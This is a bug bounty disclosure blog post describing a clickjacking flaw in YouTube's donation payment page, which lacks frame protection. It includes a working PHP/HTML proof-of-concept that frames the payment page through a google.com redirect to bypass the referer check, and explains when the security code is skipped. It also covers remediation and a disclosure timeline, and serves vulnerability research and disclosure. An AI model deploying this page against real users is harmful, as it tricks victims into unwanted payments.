How I was able to make users loss of money on Google Pay

Hi everyone!
Today, I want to share a little story about how I found a vulnerability on Google Pay, precisely on the YouTube Payment application. Let’s come to the point directly.

It started when I found a Donate feature on a Youtube video and I have a thought in my mind to see what I could find on this feature.

YouTube Donation

I searched on Google about “Youtube Donation” and found this page. Google calls this as YouTube Giving which allows creators to support the charitable causes they care about. Eligible channels can fundraise for nonprofits by adding a donate button to their videos and live streams. Viewers can donate directly on the video watch page or in live chat.

Reproduces:

When I clicked the Donate button and select the amount then click Continue, the payment page then appears.

I checked the request in burp proxy and found that the response header doesn’t contains x-frame-options or CSP frame-ancestors, so I think I can embed the content to an iframe for clickjacking attacks. But, there is a security code input and Google doesn’t accept reports with unrealistically complicated clickjacking attacks. So I tried to find another ways.

HTTP Request
HTTP Response

The request looks like a bug I’ve found on Google Payment (payments.google.com), you can check on this article. So, I tried using the same technique.

The request using <POST> method and there is <ebp> token as the request body parameter. We can using <GET> method by adding the <ebp> token as the query string in the URL. The URL will looks like the following:

https://payments.youtube.com/payments/u/3/embedded/buy_flow?gl=ID&wst=1589644316409&cst=1589644316459&si=4296061445462035&sri=2&ipi=9gvdmcownwil&hostOrigin=aHR0cHM6Ly93d3cueW91dHViZS5jb20.&mm=p&hl=en&style=%3Apc%3D%23444%3Bac%3D%23065fd4%3Bmd&ait=GAIA&cn=%24p_ay8hu1vx1nnl0&ebp=<TOKEN>

There is ‘u/3’ in the URL as the account number, because I have 4 google accounts and in this case I used the last account for my test, you can change the number to ‘u/0’ as the default account.
The <ebp> token only active for a while, so we must update with the new token before expired. Also, the referer value must be google.com or youtube.com. Otherwise, there will be an x-frame-options: DENY in the response header. We can using google’s redirect to bypass referer domain check and the URL will looks like the following:

https://www.google.com/url?q=<URL_ENCODE>&sa=D&sntz=1&usg=AFQjCNGv16lGowHqc2E--dLugMX7x8lLOQ

After all, the simple HTML code will be as follows:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Clickjacking PoC</title>
</head>
<body>
    <h1>Youtube Donation</h1>
    <?php
      if(isset($_GET['u'])) {
          if(!empty($_GET['u']) && is_numeric($_GET['u'])) {
            $account = $_GET['u'];
          } else {
              $account = 0;
          }  
      } else {
        $account = 0;
      }
      $ebp = urlencode('ALFTWs34e2bWUmOe5zp%2B7V820Ni5bZ7%2FOm8JT%2F3ICTpR1lSvRHB3Irc5Oy%2F3JfsjyzhW0N5jiMDAdzRO34RHedg4OGAkkCEk0tpmghKheYQg2z6vt1EmO%2F%2F7CqlZj5q0B0bI9yUyMWcg9OBGJ1wpnG12vwgQIkpYBdMM9WMBnx1udQjR5348GbwWZds18MLZzwW1qJFSsnQT%2FE1OcvfogXxYM8X0vydiRxvi6lGk1527LflwIVg51ZqJq1je49V4r1AjjBgzVv%2FR5AFVnIhRePO4EA0VWLYa3XW6fx%2B%2BjahXAKlejsNAk1II3cvTSER6mHZZFmjsXPUDbVJmoUBCjyYcWv0Ork%2FW4o6LlBURO0S2JCTzOMi9hJE8Nio%2FRWuA2xYGkir8VwNk3q8hiknb8hI3gZuYrk%2BUqQQZUTCWmJUHz53kRkBL3KJXf0vvLFeWQez2Q62MvLPOiIBQLD%2FVQqP3v%2BqrYw6kzalCnqBafLOkX8ZaEz%2F97VcqcU0hLBr5mNhGnGHx6rlMIUYNYpzXYo6bnLLRaVAaStJBaCx3h8HXTIiuwUwQp1B%2FNISzQ%2FAaWKMsli7p00ShEiqvO4ECqB0jdgyxR8fZm8otE9o9BET4GU11P7vF5GVwxzczKOGVdq9B4X6ZCsFstQX%2BbVULZsQiTgszrpRUUU9n%2BcVSDH53GNfNHUbMexD9fB8jbEOG71W0MGV7XWkYUVDED6U56bdmQb4V3kg8TmIYscLXou4DfeQIcY%2BpTAMO0sJsCxj4orn08U1y%2BrHyoMfMAnhde32CoVNy%2F1uu9czhKf1aHbm%2FubQC98diWfEWrdY%2Fc4ynyy8LsNtOlRePMxn4UuXhBs6Htso4CfuPbpyFoy%2FbrWFra%2BrrCJ8W22O4x%2BQcKsCWfNWg8ZNZKrUC4d04QRdYefe1ZzYpZHBE7hN6K72VJ4gFgkkEMqw5DB7xU%2Fji0MRtZDTUTt3DPAsvo6%2BidChSmhQbaHoigdEdlFlMmSQKvbAdyNebTRju%2FwOLoyRQXaM6I%2FSvG8dVLdQEBvT0bsRLYhbMvzfcwfs6mP3DfYZkXyHaTkQJH4YJFB1BZeAdRwVnBYHHpLEwSNbIv8SgeHkWDgjEDcKQALs%2FFefffZmYtpJ%2F9MxhTsOL2uR4yyE291HK9UF9zUamRQtr7tv0LXV9c8Qm8Nrw54uOO8MsbDkG%2BuwxrcOz40xokEH7nwwAexK0QMoLY63TVZR6e4BMAhSa0CWwsKzwIcWsj%2F76uZsfrYCoXyVXO%2FaNbjBtagtpC4ttYxeTCdKFCV0%2BVTmW%2BWAuaJ76uSQMnW0OdTM%2F4f34aFm10Jy3Zg%2FHU4GjptUeI0SgfiqDs%2B1LrPGS4a8eRT56GdEv33BHV6RGMAnuoRN2UqMmDh89hy3QmJ3GioWH6ZrXiqffaIjekSpKjEFgiLueSA7WmgISYPx427YfcR2comdv7%2B5jlotz9Xd5yeXXoF9bJpUri%2B6JB98ZkPfF%2FTHvondUBWonYJ92hZg3fvBlYz3YU6M7MuinyPjsrTesH7ZRs1fOznzS7IESGN3SNP025BFS1oGUtuHfgOlE%2BgoHggkGgGt%2Byw3PoyPOdXtrUrlLlsCVnDq5GQaiyafDqiG%2Fc9N7DIgOdl1oZLK2MSBUq30wU3sIica4ijHR3yDd79n660p5%2F3a%2FF7XGwB2reevC%2Ffq7e50BeK8xcLKBiRdA6WMMk7g6mWALxVTlnYfyIu5YbqB2oK7TQnVR2S9dGE%2BQavV56jTw2z8zuTK1zNt9Xlvm81D2Qi49BbEGnApFp%2BHnZ09f%2FL4QkcbImhDVl1pndWU0d%2FWQctFVGmUqbEQLWU05wsBxHMDFL0zudZiLGu9k8zgsgVLcntfu1JRahhXw2%2B01BJ48KDR8mKUlReL4MsC7VUIRYRV0SWgYjf7e%2FedQxOt9Ev14kvNzRPBhsS4IH%2BmUqGUqC5pG%2FnhHQHjtx2qto9ryCBuCAbRrFtL%2FN3BNGt8grfi4F0gi5oDlzpimw%2FKmunzzj%2F8lvpOJZw8AbPwnCRMmY4qdc00TUD3M2nnFz7gZlgY6O8YbE2uflnR8m%2FNLrjlqsfL3aDJ5u6BlVh18eXlJZN4%2BMapdCAGcHKPEwQMhPTc%2Fi5sNYLrFDivRHD1ei9ncflrdx3mqPTPERa8ix69RLreHPhZhzqrtQb9S11%2FccUZN4VoVBHuYjRsqRp6ChzkB6Db%2BXBFc2gdcA9CCyDkxKcNTyIyI0yXTJKTWa%2FOUR39WIsBtcBwpKSHw1eHuWtZs%2FhNNY%2FrGEWHsnWD0na1g0xaR1XpFhKIX6Gv4idZhv9KGK1QXsknAuO5wzG6Kf2Pe4jz1FACLGptIeBsDpnpKNjqKx6ZwtEh7gdvbSO6Sr143oTNcgchDpF6pihI5C16iXQ0hgsmouvaCXE%2F8M%2FEWVR1NBzcnZvCGom9fu9cQE4HX%2FhlFWAtAqyLmKOfJOdtEB0E5MjfeMNQH4x2BsjiKIuOJoHsqQFPZoMv6%2Fn4firPpGhrIesEIS7mWhy2jNvcHCUN3zZRI8k1sCWlSFLrRjo2lo%2FNzQvtCfKt3%2BQ8Ykwhqik3NivJOD4eiJSZo59bex%2BNs%2FlyfWXheu%2FvSNc%2FkOxfJn9AK8on%2B5V34uH665GS6KQSyKZ5KqVHzXUOdoxz1VMnE%2BXZMkctRm5rijeRibYqcC7myHXI2GF8xOg5CCjOY%2F4vuXIHWOoibUZOwbqPR5CaUv8zgK9Wq5u12c2xPijiSHCuU8L3zDSd1KdXbISQtaDil%2BrpygIPOdMzyDGMuQSECjlAiI6MR8OQp1D%2BWroTpdqISCuIGJQv9kn0TvKTHsEdpBDtVziwPDhACkt1O8zFgwShJG9cK%2Bzc%2BkLLtEZ7ArSSxIJc7aj4yGxRU1f7yPpGNYIFpnKitsaM5swcgLYU5OAKiMgeWU7Ym6pkeHBRV0eYSbpjbpHRCs1os4q866bpvh7QfqCHuUTExZLNaYJr60KXJbSmPdSjwUWBMtpAMFOKXLMOnLPzCZaVqF4QBr6z3m1Tc8DfXAQbOEqccbbpH%2BWUpLmFckpCwhiy1DvNWfAz4RBbYljxXN0muvDJAO59qrDipRrtC%2BugO%2BYnlIdHa6zcz3EcoqxfvGJiEbsl1GOYV8ZNBcA04abEcXIIEGoBo0cSYx%2BYfKHPcEWGxGyQYsBrM%2Fa2aASJm2LfhqLauX5791AD%2BcNJz4OLd7uukkAi17wDQd1%2BvRPITMx70ic8XkFvcneC869tC15TS75HVN%2F4w0PNZfvFfu2%2BqamEfeio1VSf9AS3PE3eI9AMOeTQPiP9oZn47H73Z7h7Y68rgJRd%2Bmrj94jGrpJb38UZYGBRiTuJEMZWpVHnQiTajEbrTZckZeiukO0PnGtDCQr0HTEiMmWC0zIWHGHo87mKrsx88az82wtxS5GY%2FwrOhitU88Z3xv4%2BVpR1XsELducRBJdlqdsx%2BTe4RAo3dKSJ5Xeai2gaMXH1JVGc5Pk8%2B7aZECaPE8vKaaQ3e86d97xSYGTlMtc%2Ff13SP2Xdeik0vHxvyqtJB%2BtP7QkBg%2BxcSOqnKG4bOzJ49EzbORR4ozmeBApwiZ%2FG3DVcAd%2FsaEVxzN%2F635QtoXWu1hSK83pzvqMghrpdxxMzcsycp8Pujo9wsIFpoAV3dPc844GPZYiwGJgQSKwHaaguuejK4BgACkIMaLH8odjGYzMhEDiaQHZJ1YQy4hNeh5A4qpIlUcc6Wmnw07R%2BjA03LRFrH9fY9turTJp1p3V6LTXpCZjB0Y1MMH5%2FE%2BNsnX4vXb8gXC%2BukebHuvafnJRdOmLAxGURiqcANRMjxUS1ufo5UfOauQ2zrZdHY%2BDlCQ5jcvEycMLxSK3qqu%2BmzJI7xAsP269d9Ft3YmlmpCXlMuyfxrx9IkOzTd43Ej11Mp7ku9gZsQKWs1T6Monm3bCoFXvRw%2B9wg2lkLDoRZTJHQIR0Mv6qD4WD%2FkCchIiII5uMaFu9BMImnA3WuYSakcEppC6UTw%2FXwtvnUTRrh96IZrZFjYnhUQBTaKS3Ur7nLRmuEoC3vJ4%2Fug11f%2FlLopC%2F6vEwEhj4u%2BikkxGI%2BIbjDkKnohqN1xFW6t7yv%2BT9NM%2BEPXGGV%2BAZtMSALNsN8kWh8Qg%2FRx0QjGsKC4wnZV2wFg1YIuXEJThYY%2FJIGhBBSM1iBciM5B2%2BWNX1WXKkzYmOAL6%2FnuvPwfNqab1HNZbpPki0uVq5MzeddyVZn4Lm9STQUQNKVaisHPxQJzklVPZDbp6avTyyfwN%2F%2FxlKOJdTFcNRjorju%2Fwcs5nooSGWNr6CGH9gvFQu5avkrlAeyN1jdF4o9PBoESylhFXZ%2FwraqjseHugdG4m1yfCZEDteth6VCEPeGd7kP1Ymb');
    ?>
    <iframe style="border: 0px none; vertical-align: initial; display: block; width: 100%; height: 1538px; min-height: calc(-184px + 100vh); position: static; top: auto; visibility: visible; z-index: auto; transition: all 0s ease 0s;" 
    src="https://www.google.com/url?q=https://payments.youtube.com/payments/u/<?php echo $account; ?>/embedded/buy_flow?gl%3DID%26wst%3D1589644316409%26cst%3D1589644316459%26si%3D4296061445462035%26sri%3D2%26ipi%3D9gvdmcownwil%26hostOrigin%3DaHR0cHM6Ly93d3cueW91dHViZS5jb20.%26mm%3Dp%26hl%3Den%26style%3D%253Apc%253D%2523444%253Bac%253D%2523065fd4%253Bmd%26ait%3DGAIA%26cn%3D%2524p_ay8hu1vx1nnl0%26ebp%3D<?php echo $ebp; ?>&sa=D&sntz=1&usg=AFQjCNGv16lGowHqc2E--dLugMX7x8lLOQ" id="iframe" name="iframe" title="" frameborder="0"></iframe>
</body>
</html>

I tried to open the URL on another account by adding ‘u=1’ as the query string in the URL to make sure that the codes works for other users. This is what happened, the page successfully appeared in another account.

PoC

Now, How to clickjacking the page without entering the 3-digit security code?
There are two ways:

  • If the user has previously paid for something through Google Pay and checked “Remember for all Youtube purchases on any device”, then the next purchases does not require the 3-digit security code.
  • By turning on quick purchases to disable purchase verification across all devices associated with the Google Account
PoC

In a real clickjacking attack, the Youtube Payment page is not visible, when you click the “CLICK HERE” button, you will lose your money.

Now, Back to the talk about YouTube Giving.
To be eligible to fundraise with YouTube Giving, the Youtube channel has to meet the following requirements:

  • Channel is located in United States, United Kingdom, or Canada
  • Channel has at least 100k subscribers
  • Channel is a part of the YouTube Partner Program
  • Channel is NOT designated as made for kids

So, anyone creators/youtubers who meets the above requirements eligible to adding the donate button to their videos and live streams for YouTube Giving.
How to Create a YouTube Giving Fundraiser?

Create a Youtube Giving

There is an option for creators to select Request a nonprofit. I’m not sure about this, In my opinion it’s possible for creator (attacker) to make a nonprofit to receive the donated money.

Remediation:
Sending the proper Content Security Policy (CSP) frame-ancestors directive response headers that instruct the browser to not allow framing from other domains. (This replaces the older X-Frame-Options HTTP headers.)

References: https://owasp.org/www-community/attacks/Clickjacking

Timeline:

  • May 10, 2020: Report to Google
  • May 12, 2020: Mark as Won’t Fix (Intended Behavior) Google team made the decision not to track it as a security bug
  • May 12, 2020: I asked for clarify why the bug isn’t tracked as security bug?
  • May 14, 2020: Google team clarify the bug is a duplicate of an existing bug that already tracking


Share:

More Posts